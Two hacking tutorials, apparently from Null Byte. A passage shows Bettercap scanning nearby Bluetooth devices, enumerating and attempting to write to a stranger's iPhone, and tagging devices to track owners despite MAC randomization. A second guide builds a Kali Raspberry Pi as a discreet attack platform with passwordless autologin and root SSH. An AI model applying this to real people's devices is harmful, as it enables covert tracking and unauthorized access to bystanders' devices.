allows us to do much more than look at nearby Bluetooth devices. We can scan for the MAC address of any device in range, and then use that MAC address to connect to the device and get back information about it. Finally, we can write data to the device to try to exploit it, like a tag to track the device over time even if it changes its MAC address.What We Can LearnInformation is the first element of any attack. To start, we'll need to learn the manufacturer of the device so we can gain knowledge like the default pairing PIN. Once we identify the specific model behind the Bluetooth radio, we can start looking up specific information that could be used to hijack the device over Bluetooth.Don't Miss:Detect Bluetooth Low Energy Devices in Realtime with Blue HydraWhen scanning a Bluetooth device, we can learn information we should have no reason to know. We can determine the version of the operating system the target device is running, the name of the device, the manufacturer, and even details like the current battery level. If we learn a device is running old software, it becomes much easier to research vulnerabilities to exploit. The first step is discovering the device and scanning it to learn more about it.What You'll NeedTo follow this guide, I recommend starting with a fullKali Linuxinstallation. Bettercap can be easily installed on several platforms, but Bluetooth won't work on macOS.Step 1: Install BettercapIf you have a fully updated and upgraded version of Kali installed, you can runapt install bettercapto install Bettercap and the required dependencies. If you're on another Linux system, you can install Bettercap by running the following commands in a fresh terminal window.apt install golang go get github.com/bettercap/bettercap cd $GOPATH/src/github.com/bettercap/bettercap make build sudo make installStep 2: Start BettercapTo start Bettercap, you can simply runsudo bettercapin a terminal window.sudo bettercapbettercap v2.17 (type 'help' for a list of commands) 192.168.0.0/24 > 192.168.0.37 » [02:19:21] [endpoint.new] endpoint 192.168.0.10 detected as 3c:dc:bc:05:77:d4 (Samsung Electronics Co.,Ltd). 192.168.0.0/24 > 192.168.0.37 » [02:19:22] [endpoint.new] endpoint 192.168.0.3 detected as 50:33:8b:68:2d:73 (Texas Instruments).As you can see, the network module starts by default and has already begun to detect devices on the same network passively. Pretty cool! If we want to see the most updated list of devices we've identified, we can see it by typingnet.showand pressingEnter.192.168.0.0/24 > 192.168.0.37 » net.show+--------------+-------------------+---------+-------------------------------+--------+-------+----------+ | IP ▴ | MAC | Name | Vendor | Sent | Recvd | Seen | +--------------+-------------------+---------+-------------------------------+--------+-------+----------+ | 192.168.0.37 | 30:52:cb:6b:76:5f | wlan0 | Liteon Technology Corporation | 0 B | 0 B | 02:19:17 | | 192.168.0.1 | 40:70:09:7a:64:97 | gateway | ARRIS Group, Inc. | 590 B | 0 B | 02:19:18 | | | | | | | | | | 192.168.0.3 | 50:33:8b:68:2d:73 | | Texas Instruments | 1.8 kB | 0 B | 02:20:42 | | 192.168.0.10 | 3c:dc:bc:05:77:d4 | | Samsung Electronics Co.,Ltd | 515 B | 0 B | 02:20:41 | | 192.168.0.65 | 00:26:bb:1c:a0:87 | | Apple, Inc. | 1.1 kB | 0 B | 02:20:40 | +--------------+-------------------+---------+-------------------------------+--------+-------+----------+ ↑ 0 B / ↓ 131 kB / 1078 pktsTo stop this module, we can runnet.recon offto stop discovery.Step 3: Run the Bluetooth Sniffing ModuleNow, let's start the Bluetooth discovery! To start, typeble.recon onand pressEnter.192.168.0.0/24 > 192.168.0.37 » ble.recon on[02:23:55] [sys.log] [inf] ble.recon initializing device ... [02:23:55] [sys.log] [inf] ble.recon state changed to PoweredOn 192.168.0.0/24 > 192.168.0.37 » [02:23:55] [sys.log] [inf] ble.recon starting discovery ... 192.168.0.0/24 > 192.168.0.37 » [02:23:55] [ble.device.new] new BLE device detected as 69:B0:77:33:32:B7 (Apple, Inc.) -77 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:55] [ble.device.new] new BLE device detected as 11:8D:A3:DD:6F:23 (Apple, Inc.) -62 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:55] [ble.device.new] new BLE device detected as 00:74:BB:1E:51:22 (Microsoft) -68 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:55] [ble.device.new] new BLE device detected as 35:DE:BF:24:DE:02 (Microsoft) -57 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:55] [ble.device.new] new BLE device detected as 26:22:8E:AC:BC:47 (Microsoft) -89 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:55] [ble.device.new] new BLE device detected as 40:16:3B:ED:EF:21 (Samsung Electronics Co.,Ltd) -92 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:55] [ble.device.new] new BLE device detected as 56:73:E6:EA:CE:C5 (Apple, Inc.) -51 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:56] [ble.device.new] new BLE device Tile detected as C9:58:1F:16:7A:43 -79 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:56] [ble.device.new] new BLE device detected as 5B:FA:11:B5:B1:3B (Apple, Inc.) -64 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:56] [ble.device.new] new BLE device detected as 66:8D:90:81:2B:C5 (Apple, Inc.) -83 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:57] [ble.device.new] new BLE device detected as F8:04:2E:B0:57:73 (Samsung Electro-Mechanics(Thailand)) -87 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:23:59] [ble.device.new] new BLE device detected as 39:71:FA:71:9F:53 (Apple, Inc.) -94 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:24:01] [ble.device.new] new BLE device detected as 6A:95:78:A8:8D:FC (Microsoft) -94 dBm. 192.168.0.0/24 > 192.168.0.37 » [02:24:04] [ble.device.new] new BLE device detected as 1A:53:E5:84:E2:10 (Microsoft) -95 dBm. 192.168.0.0/24 > 192.168.0.37 »This discovery will continue for as long as you like. Devices that haven't been seen for a few scans will drop off the list automatically.Step 4: Identify Hosts to ProbeAfter a few seconds, we've gathered a pretty big list. In a coffee shop at 2 a.m., I was able to identify many devices. To see the devices you've discovered, typeble.showand pressReturn.192.168.0.0/24 > 192.168.0.37 » ble.show+---------+-------------------+------+-------------------------------------+--------------------------------------------------------------------+---------+----------+ | RSSI ▴ | MAC | Name | Vendor | Flags | Connect | Seen | +---------+-------------------+------+-------------------------------------+--------------------------------------------------------------------+---------+----------+ | -51 dBm | 56:73:e6:ea:ce:c5 | | Apple, Inc. | LE + BR/EDR (controller), LE + BR/EDR (host) | ✔ | 02:24:50 | | -59 dBm | 35:de:bf:24:de:02 | | Microsoft | | ✖ | 02:24:50 | | -64 dBm | 5b:fa:11:b5:b1:3b | | Apple, Inc. | LE + BR/EDR (controller), LE + BR/EDR (host) | ✔ | 02:24:49 | | -68 dBm | 69:b0:77:33:32:b7 | | Apple, Inc. | LE + BR/EDR (controller), LE + BR/EDR (host) | ✔ | 02:24:50 | | -71 dBm | 00:74:bb:1e:51:22 | | Microsoft | | ✖ | 02:24:50 | | -75 dBm | 11:8d:a3:dd:6f:23 | | Apple, Inc. | Limited Discoverable, LE + BR/EDR (controller), LE + BR/EDR (host) | ✖ | 02:24:50 | | -77 dBm | c9:58:1f:16:7a:43 | Tile | | BR/EDR Not Supported | ✔ | 02:24:50 | | -86 dBm | 4f:da:70:25:35:09 | | Google | | ✖ | 02:24:48 | | -86 dBm | 66:8d:90:81:2b:c5 | | Apple, Inc. | LE + BR/EDR (controller), LE + BR/EDR (host) | ✔ | 02:24:46 | | -88 dBm | f8:04:2e:b0:57:73 | | Samsung Electro-Mechanics(Thailand) | | ✖ | 02:24:48 | | -90 dBm | 40:16:3b:ed:ef:21 | | Samsung Electronics Co.,Ltd | | ✖ | 02:24:47 | | -91 dBm | 1a:53:e5:84:e2:10 | | Microsoft | | ✖ | 02:24:45 | | -91 dBm | 26:22:8e:ac:bc:47 | | Microsoft | | ✖ | 02:24:49 | | -91 dBm | 61:b7:ab:e4:84:e7 | | Apple, Inc. | LE + BR/EDR (controller), LE + BR/EDR (host) | ✔ | 02:24:36 | | -91 dBm | 6a:95:78:a8:8d:fc | | Microsoft | | ✖ | 02:24:48 | | -91 dBm | 7a:e8:23:e7:b5:59 | | Apple, Inc. | LE + BR/EDR (controller), LE + BR/EDR (host) | ✔ | 02:24:23 | | -91 dBm | 7d:e3:6c:c7:12:7c | | Apple, Inc. | LE + BR/EDR (controller), LE + BR/EDR (host) | ✔ | 02:24:44 | | -95 dBm | 39:71:fa:71:9f:53 | | Apple, Inc. | Limited Discoverable, LE + BR/EDR (controller), LE + BR/EDR (host) | ✖ | 02:24:41 | +---------+-------------------+------+-------------------------------------+--------------------------------------------------------------------+---------+----------+ 192.168.0.0/24 > 192.168.0.37 » [02:24:55] [ble.device.lost] BLE device 7A:E8:23:E7:B5:59 (Apple, Inc.) lost. 192.168.0.0/24 > 192.168.0.37 » [02:25Step 5: Scan & Interact with DevicesAfter we identify a device of interest, we can use Bettercap to interrogate it further. The key here is knowing the MAC address of the target.Based on the scan above, the device with the strongest signal is an Apple device with the MAC address of 56:73:e6:ea:ce:c5. We can direct a scan of this device by typing the commandble.enum 56:73:e6:ea:ce:c5to enumerate details about the device.192.168.0.0/24 > 192.168.0.37 » ble.enum 56:73:e6:ea:ce:c5[02:27:30] [sys.log] [inf] ble.recon connecting to 56:73:e6:ea:ce:c5 ... 192.168.0.0/24 > 192.168.0.37 » [02:27:30] [sys.log] [inf] ble.recon connected, enumerating all the things for 56:73:E6:EA:CE:C5! 192.168.0.0/24 > 192.168.0.37 » +--------------+-------------------------------------------------------------+------------------+---------------+ | Handles | Service > Characteristics | Properties | Data | +--------------+-------------------------------------------------------------+------------------+---------------+ | 0001 -> 0005 | Generic Access (1800) | | | | 0002 | Device Name (2a00) | read | iPhone | | 0004 | Appearance (2a01) | read | Generic Phone | | 0006 -> 0009 | Generic Attribute (1801) | | | | 0007 | Service Changed (2a05) | indicate | | | 000a -> 000e | Apple Continuity Service (d0611e78bbb44591a5f8487910ae4366) | | | | 000b | 8667556c9a374c9184ed54ee27d90049 | write, notify, x | | | 000f -> 0013 | 9fa480e0496745429390d343dc5d04ae | | | | 0010 | af0badb15b9943cd917aa77bc549e3cc | write, notify, x | | +--------------+-------------------------------------------------------------+------------------+---------------+ 192.168.0.0/24 > 192.168.0.37 » [02:27:30] [sys.log] [inf] ble.recon disconnecting from 56:73:E6:EA:CE:C5 ... 192.168.0.0/24 > 192.168.0.37 » [02:27:30] [sys.log] [inf] ble.recon device disconnected, restoring discovery. 192.168.0.0/24 > 192.168.0.37 » [02:27:30] [ble.device.lost] BLE device 73:13:D4:64:AF:7D (Apple, Inc.) lost.As you can see, there are a few services that allow us to write data!Let's try writing data to a characteristic. After another scan, we discover a device with the MAC address 7e:dc:48:7c:77:ea and a writable field labeled "69d1d8f345e149a898219bbdfdaad9d9." We can write the value of "ffffffffffffffff" to that device by typing the commandble.write TheMacAddress TheFieldToWriteTo ValueToWrite, as seen in the example below.192.168.0.0/24 > 192.168.0.37 » ble.write 7e:dc:48:7c:77:ea 69d1d8f345e149a898219bbdfdaad9d9 ffffffffffffffff[02:38:22] [sys.log] [inf] ble.recon connecting to 7e:dc:48:7c:77:ea ... 192.168.0.0/24 > 192.168.0.37 » [02:38:22] [sys.log] [inf] ble.recon connected, enumerating all the things for 7E:DC:48:7C:77:EA! 192.168.0.0/24 > 192.168.0.37 » [02:38:23] [sys.log] [inf] ble.recon writing 8 bytes to characteristics 69d1d8f345e149a898219bbdfdaad9d9 ... 192.168.0.0/24 > 192.168.0.37 » [02:38:23] [sys.log] [err] ble.recon error while writing: insufficient authentication 192.168.0.0/24 > 192.168.0.37 » +--------------+----------------------------------------------------------------------+------------------+-----------------------------+ | Handles | Service > Characteristics | Properties | Data | +--------------+----------------------------------------------------------------------+------------------+-----------------------------+ | 0001 -> 0005 | Generic Access (1800) | | | | 0002 | Device Name (2a00) | read | iPhone | | 0004 | Appearance (2a01) | read | Generic Phone | | 0006 -> 0009 | Generic Attribute (1801) | | | | 0007 | Service Changed (2a05) | indicate | | | 000a -> 000e | Apple Continuity Service (d0611e78bbb44591a5f8487910ae4366) | | | | 000b | 8667556c9a374c9184ed54ee27d90049 | write, notify, x | | | 000f -> 0013 | 9fa480e0496745429390d343dc5d04ae | | | | 0010 | af0badb15b9943cd917aa77bc549e3cc | write, notify, x | | | 0014 -> 0017 | Battery Service (180f) | | | | 0015 | Battery Level (2a19) | read, notify | insufficient authentication | | 0018 -> 001d | Current Time Service (1805) | | | | 0019 | Current Time (2a2b) | read, notify | insufficient authentication | | 001c | Local Time Information (2a0f) | read | insufficient authentication | | 001e -> 0022 | Device Information (180a) | | | | 001f | Manufacturer Name String (2a29) | read | Apple Inc. | | 0021 | Model Number String (2a24) | read | iPhone9,1 | | 0023 -> 002c | Apple Notification Center Service (7905f431b5ce4e99a40f4b1e122d00d0) | | | | 0024 | 69d1d8f345e149a898219bbdfdaad9d9 | write, x | | | 0027 | 9fbf120d630142d98c5825e699a21dbd | notify | | | 002a | 22eac6e924d64bb5be44b36ace7c7bfb | notify | | | 002d -> 0038 | Apple Media Service (89d3502b0f36433a8ef4c502ad55f8dc) | | | | 002e | 9b3c81d857b14a8ab8df0e56f7ca51c2 | write, notify, x | | | 0032 | 2f7cabce808d411f9a0cbb92ba96c102 | write, notify, x | | | 0036 | c6b2f38c23ab46d8a6aba3a870bbd5d7 | read, write, x | insufficient authentication | +--------------+----------------------------------------------------------------------+------------------+-----------------------------+ 192.168.0.0/24 > 192.168.0.37 » [02:38:23] [sys.log] [inf] ble.recon disconnecting from 7E:DC:48:7C:77:EA ...While we weren't able to write to this Bluetooth device, many devices will. If we learn a device is running a service with a vulnerability we can exploit by writing to a value, we can use Bettercap to begin poking around for ways to further exploit nearby devices. We can also use these fields to fingerprint devices using MAC address randomization, as the values will uniquely identify a device that's changing other properties like its MAC address to try to avoid correlation.Bluetooth Devices Are EverywhereIn our sample scan, we discovered lots of Bluetooth devices nearby, even in a relatively empty coffee shop late at night. One of these devices was aTile-branded trackerthat never changes its MAC address, but others were smart devices that rotate the MAC address they transmit over time. We can defeat this with Bettercap by reading the values of characteristics like the battery life to compare them and determine whether a Bluetooth device we're seeing is the same as one we've seen recently.Don't Miss:How to Hack Bluetooth — Terms, Technologies & SecurityWith the ability to write data, we can even "tag" a device with a value so that we can identify it uniquely later. The ability to discover and unmask Bluetooth radio transmissions is useful for tracking the people and devices behind them. By knowing the type of hardware and version of software a device we're detecting is using, we have the best possible chance of being able to successfully attack it.I hope you enjoyed this guide to scanning and tracking Bluetooth devices with Bettercap! If you have any questions about this tutorial on Bluetooth sniffing or you have a comment, there's the comments section below, and feel free to follow me on [email protected]'t Miss:How to Hack Bluetooth Like Mr. RobotFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedHow To:Hack Wi-Fi Networks with BettercapHow To:Perform Network-Based Attacks with an SBC ImplantBT Recon:How to Snoop on Bluetooth Devices Using Kali LinuxHow to Hack Bluetooth, Part 1:Terms, Technologies, & SecurityHow To:Bypass Android's File Type Restrictions on Bluetooth File SharingHow to Hack Bluetooth, Part 2:Using MultiBlue to Control Any Mobile DeviceNews:The Best Black Friday 2017 Speaker Deals for Your SmartphoneAndroid Basics:How to Connect to a Bluetooth DeviceHow To:5 Ways to Improve the Bluetooth Experience on Your Samsung GalaxyThe Hacks of Mr. Robot:How to Hack BluetoothHow To:Launch Any Music App When You Connect Headphones to Your LG on Android 10How To:Play Music on 2 Devices Using Your Samsung Galaxy PhoneHow To:See Battery Life for Paired Bluetooth Accessories on AndroidHow To:Set Default Volume Levels for Each of Your Bluetooth Accessories IndividuallyHow To:Fix Google Now Bluetooth Problems on Your Samsung Galaxy Note 2 or Other Android DeviceNews:Bluetooth 5.1 Adds Precision Location, Offers Beacons for Indoor Navigation & More Augmented Reality ExperiencesNews:The Best Black Friday 2017 Deals on Headphones for Your SmartphoneHow To:Set Up a Distress Signal on Android for Your Bluetooth Headphones (So You Never Leave Them Behind)News:Bluetooth 5 Is Here—But It Won't Make Your Headphones Sound BetterHow To:Automate Tasks on Your Mac Whenever You Come or Leave Home via BluetoothHow To:Switch or Connect to Wi-Fi Networks & Bluetooth Devices Right from the Control Center in iOS 13How To:Detect BlueBorne Vulnerable Devices & What It MeansHow To:Share Your iPhone's Internet Connection with Other DevicesHow To:Find Out if Your Mac Can Support Continuity's Handoff FeatureNews:The Best Black Friday 2019 Deals on Headphones for Your SmartphoneHow To:Use U2F Security Keys on Your Smartphone to Access Your Google Account with Advanced ProtectionHow To:Replace Android's Voice Dialer with Google Now for Better Bluetooth DialingHow To:Use Ettercap to Intercept Passwords with ARP SpoofingHow To:Change Your AirPods' Name to Something More Unique — Right from Your iPhone or Android PhoneHow To:Track Your Lost iPhone, iPad, or Mac Even When Its Offline — As Long as This Feature Is EnabledHow To:Connect a PS4 Controller to Your Mac for Improved GameplayHow To:Use “Smart Lock” on Android Lollipop for More Convenient SecurityHow To:Use Bluetooth to Control Your DSLR (Or Any Device with an Infrared Receiver)How To:iOS 13 Has Radically Improved Connecting to AirPods & Bluetooth DevicesNews:Is HP touchpad 64GB a possible rival to iPad 2?
How to Set Up a Headless Raspberry Pi Hacking Platform Running Kali Linux « Null Byte :: WonderHowTo
TheRaspberry Piis a credit card-sized computer that can crack Wi-Fi, clone key cards, break into laptops, and even clone an existing Wi-Fi network to trick users into connecting to the Pi instead. It can jam Wi-Fi for blocks, track cell phones, listen in on police scanners, broadcast an FM radio signal, andapparently even fly a goddamn missile into a helicopter.The key to this power is a massive community of developers and builders who contribute thousands of builds for the Kali Linux and Raspberry Pi platforms. For less than a tank of gas, aRaspberry Pi 3buys you a low-cost, flexible cyberweapon.A cyberweapon that fits anywhere? Name something else in your pocket that creates a fake AP in Czech.Image by SADMIN/Null ByteOf course, it's important to compartmentalize your hacking and avoid using systems that uniquely identify you, like customized hardware. Not everyone has access to a supercomputer or gaming tower, but fortunately one is not needed to have a solid Kali Linux platform.With over 10 million units sold, the Raspberry Pi can be purchased in cash by anyone with $35 to spare. This makes it more difficult to determine who is behind an attack launched from a Raspberry Pi, as it could just as likely be a state-sponsored attack flying under the radar or a hyperactive teenager in high school coding class.Thinking Like an AttackerThe Raspberry Pi has several unique characteristics that make it a powerful and easily accessible tool in a penetration tester's kit. In particular, the Pi is cheap and the components cost as little as a Lego set. Also, the Raspberry Pi is discreet; It's small, thin, and easy to hide. And thanks to running Kali Linux OS natively, it is flexible and able to run a broad range of hacking tools from badge cloners to Wi-Fi cracking scripts. By swapping the SD card and adding or removing components like apacket-injection capable wireless adapter, the Raspberry Pi can be customized to suit any situation.Raspberry Pi + projector = Kali on a huge screen.Image by SADMIN/Null ByteThe Raspberry Pi on OffenseFirst, it's important to manage your expectations and remain reasonable when selecting a Raspberry Pi as a hacking platform. The Raspberry Pi is not a super computer and doesn't have a tremendous amount of processing power. It's not well-suited to processor intensive tasks like brute-force WPA password cracking, or acting as a network attack as the connection is too slow to fool users. That being said, the Raspberry Pi is perfectly suited to many attack environments. We simply offload these tasks to bigger computers and use the Pi as a data collector.An active Raspberry Pi Wi-Fi jamming setup.Image by SADMIN/Null ByteIn my experience, the Raspberry Pi works exceptionally well as a Wi-Fi attack platform. Due to its small size and large library of Kali Linux-based attack tools, it's ideal for reconnaissance and attacking Wi-Fi networks. Our offensive Kali Linux build will be geared towards anonymous field auditing of wired and wireless networks.The Basic Components of Our Attack SystemHere are the basic components needed to build our Pi attack system, and why we need them. If you're just starting out,this excellent Raspberry Pi Kitfrom CanaKit includes most of what you need to get your Pi set up.Raspberry Pi: TheRaspberry Pi 3is the platform of these builds, coordinating and controlling all other components. Its low power consumption and flexible capabilities allow it to serve as a platform for running Linux-based operating systems besides Kali.Raspberry Pi 3.Image by SADMIN/Null ByteCommand and control (C2) wireless card: The purpose of the C2 wireless card is to automatically connect the Pi to the command AP (access point) such as your phone hotspot or home network. This allows remote control of the Pi discreetly or from a great distance via SSH (Secure Shell) or VNC (Virtual Network Computing). Fortunately for us, the Raspberry Pi 3 has a Wi-Fi card internally, but a wireless network adapter can also be added to a Raspberry Pi 2.Wireless attack card:: Our attack wireless card will be a Kali Linux-compatible Wi-Fi adapter capable of packet injection. This will be our attack surface and can be along-range,short-range, or directional antenna depending on attack requirements. You can find a greatguide to choosing one here.Don't Miss:Choosing a Wireless Adapter for HackingOS build cards: Themicro SD cardhosts the OS and brain of the computer and can be precisely configured for any desired environment. By creating customized cards, it is possible to rapidly change the configuration and function of a Raspberry Pi by simply swapping the card and components.Computer: You will also need a computer to download the firmware to load onto the micro SD card.Power supply: The Raspberry Pi uses a standard Micro-USB power supply, and nearly any Android phone charger or battery pack will work to power a Pi. This allows for a number of different battery configurations to suitlong-endurance reconnaissanceorcontinuously powered operations.My Raspberry Pi hacking kit.Image by SADMIN/Null ByteEthernet cable (optional): AnEthernet cableallows you to bypass wireless authentication by directly interfacing with local networks to which you have physical access. Specialized attacks likePoisonTapcan also take advantage of ethernet interfaces to infiltrate computers.Bluetooth keyboard (optional): ABluetooth keyboardis helpful for interfacing when you have an HDMI connection.Case (optional): Every Pi needsa case to protect it.Build ConsiderationsIn designing this tutorial, I considered two primary modes in which you would be operating the Raspberry Pi. In ouropen configuration, the Raspberry Pi is connected to a display via HDMI cord with inputs running through a wireless mouse and keyboard. In ourtactical configuration, you will use a laptop or smartphone to access the Raspberry Pi remotely via SSH. By connecting the Pi to our phone's hotspot or a nearby friendly AP, we can access the Raspberry Pi while still being able to use cellular data in the field.(Top) Lab configuration: Output over HDMI, input via Bluetooth keyboard. (Bottom) Tactical Configuration: Kali Linux via SSH.Images by SADMIN/Null ByteHow to Set Everything UpIn this guide, I'll show the steps needed to set up a Raspberry Pi 3 as a basic hacking platform with Kali Linux. I'll go over how to select a build to install, writing the disc image to a micro SD card, and the steps to run after first setting up your Pi. We'll update Kali Linux to the latest version to ensure everything works correctly, change the default SSH keys, and take care of some housekeeping like changing the admin password.Raspberry Pi in action connected to an HDMI output.Image by SADMIN/Null ByteAs a note, there are many ways to configure Kali on a Raspberry Pi 3. Some include touchscreens, some are completely headless (accessed via network connections without a keyboard or display), and others use the internal Wi-Fi card to create a hotspot for remote control of the Pi. In selecting this build, I discounted any designs that included a power-hungry and fragile touchscreen or additional hardware, and settled a version optimized for our two different C2 scenarios.Step 1: Download Kali Linux Image for the Raspberry PiHead toOffensive Securityand download the latest Kali Linux image for the Raspberry Pi. As of this writing, it is "RaspberryPi 2 / 3" on version 2.1.2.Step 2: Flash the Image to the Micro SD CardYou can use a tool likeApplePiBaker for MacorEtcherto load your Kali image onto your SD card, but sometimes these can result in errors. To prevent that, we'll cover how to do this via Terminal on a Mac. If you use Windows, you can useWin32 Disk Imagerto put your image on the card.On a Mac, before plugging in your SD card, run the following in Terminal:df -hThis will display a list of all the disks attached to your system. Attach your SD card and run the command again, and note the filesystem name of your SD card (it's the one that wasn't there before). It should look like "/dev/disk2s1" and you should be very careful not to mix this up in the next steps, since doing so could overwrite your hard drive.The available drives.Now, we'll use theddcommand to load the Kali image onto the card.Use "man dd" to see the rest of the operands for dd.First, let's unmount the partition so you can write to it with the following command, with "x" being the correct disk number:sudo diskutil unmount /dev/diskXNow we're ready to load Kali. Type, but don't run the command,sudo dd bs=1m if=and enter the location of the Kali Linux image we want to load onto the card. You can drag and drop the disk image into the window to show the file path. After that, type a space, thenof=/dev/rdiskand the number of the disk from before.If there is an "s" after the initial disk number (like rdisk2s1), do not include the "s" or following number. So, "rdisk2s1" should look like "rdisk2." Here's what it should look like altogether:sudo dd bs=1m if=LocationOfKaliImage of=/dev/rdiskXPress enter to begin the process, and note thatdddoes not provide any on-screen information unless there is an error or it finishes. To view the progress during the transfer, you can typeCtrl T. Wait for the process to complete. You'll know the process is complete when you see a readout of bytes transferred over the time the process ran.It will look like the screenshot below (if you pressCtrl Ta few times during the transfer) when complete.Mashing Ctrl T to see the status—took 1,131 seconds to transfer!Step 3: Boot into Kali LinuxWhen finished, your SD card is ready to go! Insert the SD card into your Pi, connect it to HDMI, and attach your Bluetooth keyboard. Plug in the power source to boot into Kali Linux for the first time. To get to the desktop, your default login is "root" with "toor" being the password.Kali Pi with power, HDMI, Ethernet, Bluetooth receiver, and secondary wireless adapter attached.Image by SADMIN/Null ByteThe login process is a problem for autonomous control, and we will need to disable it later. This will let us plug our Pi in and immediately connect to it remotely without a screen.First boot of Kali.Image by SADMIN/Null ByteStep 4: Update Kali LinuxKali Linux is a special flavor of Debian Linux meant for penetration testing, and a favorite here on Null Byte. It's compatible with some of the best and most advanced tools available for wireless hacking, and flexible enough to support a large number of hacking builds. It's maintained by Offensive Security, and you'll need to update it to the latest version to make sure all the tools work properly.Before running, now is a good time to expand your installation to the size of the partition. To do so, run the following:resize2fs /dev/mmcblk0p2At the top right of the desktop, you'll see an option to connect to a nearby wireless network. Connect to your phone's hotspot or a friendly AP to fetch the update. Run the update by opening a terminal window and typing the following:apt-get update apt-get upgrade apt-get dist-upgradeYour Kali install is now up to date. Update the root password to something more secure than "toor" by typing:passwd rootThen enter a new password for your Kali Linux system.Step 5: Install OpenSSH ServerTo communicate with our Raspberry Pi from a computer or phone, we'll need to be able to log in. To do so, we can use SSH to connect via any Wi-Fi connection we share with the Pi. SSH, or the Secure Shell, is a network protocol that allows us to run commands remotely on a device. This means we don't need to plug in a screen to interact with our Pi.In a terminal, run the following to install openSSH server and update the runlevels to allow SSH to start on boot:apt-get install openssh-server update-rc.d -f ssh remove update-rc.d -f ssh defaultsThe default keys represent a huge vulnerability since anyone can guess them. Let's change them immediately by running the following commands:cd /etc/ssh/ mkdir insecure_old mv ssh_host* insecure_old dpkg-reconfigure openssh-serverThis backs up the old SSH keys in another folder and generates new keys. Problem solved! Now let's make sure we can log in via root by typing:nano /etc/ssh/sshd_configThis will open your SSH configuration folder. Change this line:PermitRootLogin without-passwordTo this line instead:PermitRootLogin yesAnd typeCtrl Oto save the changes. If it already is correct, you don't need to change anything.Configuring sshd_config.Great! Let's restart the SSH service by typing:sudo service ssh restart update-rc.d -f ssh enable 2 3 4 5Finally, to test that we've got SSH working, use the following to see if SSH is currently running.sudo service ssh statusWe should see something like this if we are successful.If it's not, run this to get it going:sudo service ssh startIf you find SSH doesn't work, you can useraspi-configas a workaround. It's meant for Jessie, but it'll work on Kali, too. To use it, first clone fromGitHub, typesudo mount /dev/mmcblk0p1 /bootto mount the boot partition,cdto the directory, and runsudo bash raspi-config.Step 6: Create a Custom MOTDOf course, the speed and power of your hacking computer is directly related to how cool your message of the day (MOTD) banner is. You will be greeted with this upon successful login, andtraditionally is used with some ASCII artto spice things up.Create your own by typing:Nano /etc/motdDelete the contents and paste whatever you want to show up each time you log in.Save and exit nano by hittingCtrl O, thenCtrl X.Step 7: Test Login via SSHLet's try logging in from your home computer or laptop. Connect the Pi to the same wireless network your home or work computer is on. Run the commandifconfigon your Pi in terminal to learn your IP address.ifconfigIn the comments, some people mentioned getting an error here. If so, try runningsudo apt-get install net-toolsto determine if you don't have net-tools installed. Runifconfigagain and see if it works. Thanks toN1GHTANG31for pointing this out!Here, our IP is seen as 10.11.1.144.On your personal computer, type:ssh root@(your IP address)You should see your MOTD screen!A simple MOTD on successful SSH login.If not, you can run anarp-scanon a Mac to see a list of all available devices on the network if you need to find your Pi's IP address from personal computer.Step 8: Configure Autologin for Headless OperationSometimes, we will want to be able to log into an account other than root. Let's create a new user named WHT (or whatever you like) with root permission by running:useradd -m WHT -G sudo -s /bin/bashChange WHT's (or whatever you named it) password to something more secure than "toor":passwd WHTGreat! Now let's disable that login from before so we can boot directly into Kali, and our wireless cards will start up and connect to allow us remote control. To do so, type:nano /etc/lightdm/lightdm.confAnd delete the # before these lines:autologin-user=root autologin-user-timeout=0Save and exit withCtrl X. Next, type:nano /etc/pam.d/lightdm-autologinAnd you'll need to change this starting on line 11:# Allow access without authentication auth required pam_succeed_if.so user != root quiet_success auth required pam_permit.soTo this:# Allow access without authentication ###auth required pam_succeed_if.so user != root quiet_success auth required pam_permit.soSave and exit, and type "reboot" into terminal to restart your Pi to test.Test Your Build Against This ChecklistIn order to be considered field ready, your device must pass this checklist:The device starts up, logs on without prompting for a password, and starts SSH at boot allowing remote access.The device connects to the command AP to enable remote control (does this by default after connecting the first time).Runbesside-ngscript on attack antenna to test packet injection (tutorial for this).The Pi can be shutdown without corruption to the data on the micro SD card (boots normally after shutdown).Pass all the requirements? Then your Raspberry Pi is ready to hit the road. I'll be writing a series of Pi-based builds, so keep up with me by building your own Raspberry Pi-based Kali Linux computer.UsingFluxionwith a Raspberry Pi and projector.Image by SADMIN/Null ByteDon't Miss:How to Hack Wi-Fi: Capturing WPA Passwords by Targeting Users with a Fluxion AttackFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by SADMIN/Null ByteRelatedHow To:Hack WiFi Using a WPS Pixie Dust AttackHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableRaspberry Pi:Hacking PlatformHow 